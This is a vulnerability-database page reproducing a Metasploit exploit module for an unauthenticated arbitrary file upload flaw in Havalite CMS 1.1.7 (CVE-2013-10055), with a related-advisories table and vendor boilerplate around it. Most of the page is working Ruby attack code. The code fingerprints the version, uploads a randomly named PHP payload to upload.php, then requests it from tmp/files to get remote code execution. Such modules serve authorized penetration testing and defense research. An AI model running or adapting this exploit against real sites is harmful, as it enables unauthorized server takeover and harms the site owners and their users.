Havalite CMS Arbitary File Upload Vulnerability
🗓️ 17 Jun 2013 00:00:00Reported by CWH, sinn3r <[email protected]>Type
metasploit🔗 www.rapid7.com👁 20 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2013-10055 | 29 May 201815:50 | – | circl | |
| Havalite CMS 安全漏洞 | 1 Aug 202500:00 | – | cnnvd | |
| CVE-2013-10055 | 1 Aug 202520:39 | – | cve | |
| CVE-2013-10055 Havalite CMS Arbitary File Upload RCE | 1 Aug 202520:39 | – | cvelist | |
| EUVD-2013-7271 | 7 Oct 202500:30 | – | euvd | |
| CVE-2013-10055 | 1 Aug 202521:15 | – | nvd | |
| PT-2025-31690 · Unknown · Lavalite Cms | 1 Aug 202500:00 | – | ptsecurity | |
| CVE-2013-10055 | 4 Aug 202509:32 | – | redhatcve | |
| CVE-2013-10055 Havalite CMS Arbitary File Upload RCE | 1 Aug 202520:39 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Havalite CMS Arbitary File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
possibly prior. Attackers can abuse the upload feature in order to upload a
malicious PHP file without authentication, which results in arbitrary remote code
execution.
},
'License' => MSF_LICENSE,
'Author' => [
'CWH',
'sinn3r' # Metasploit
],
'References' => [
['CVE', '2013-10055'],
['OSVDB', '94405'],
['EDB', '26243']
],
'Payload' => {
'BadChars' => "\x00"
},
'Targets' => [
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'Privileged' => false,
'DisclosureDate' => '2013-06-17',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
]
)
end
#
# Checks if target is running HavaLite CMS 1.1.7
# We only flag 1.1.7 as vulnerable, because we don't have enough information from
# the vendor or OSVDB about exactly which ones are really vulnerable.
#
def check
uri = normalize_uri(target_uri.path, 'havalite/')
res = send_request_raw({ 'uri' => uri })
if !res
vprint_error('Connection timed out')
return Exploit::CheckCode::Unknown('Could not determine the target status')
end
js_src = res.body.scan(%r{<script type="text/javascript">(.+)</script>}im).flatten[0] || ''
version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
if !version.empty? and version =~ /1\.1\.7/
vprint_status("Version found: #{version}")
return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
end
Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
end
#
# Uploads our malicious file
#
def upload(base)
p = get_write_exec_payload(unlink_self: true)
fname = "#{rand_text_alpha(5)}.php"
data = Rex::MIME::Message.new
data.add_part(p, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
post_data = data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'havalite', 'upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if !res
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i == 404
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
elsif res.body =~ /"error":"abort"/
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
end
return fname
end
#
# Executes our uploaded malicious file
#
def exec(base, payload_fname)
res = send_request_raw({
'uri' => normalize_uri(base, 'havalite', 'tmp', 'files', payload_fname)
})
if res and res.code == 404
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
end
end
def exploit
base = target_uri.path
print_status('Uploading malicious file...')
fname = upload(base)
print_status("Executing #{fname}...")
exec(base, fname)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jun 2013 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 49.3
EPSS0.01079
SSVC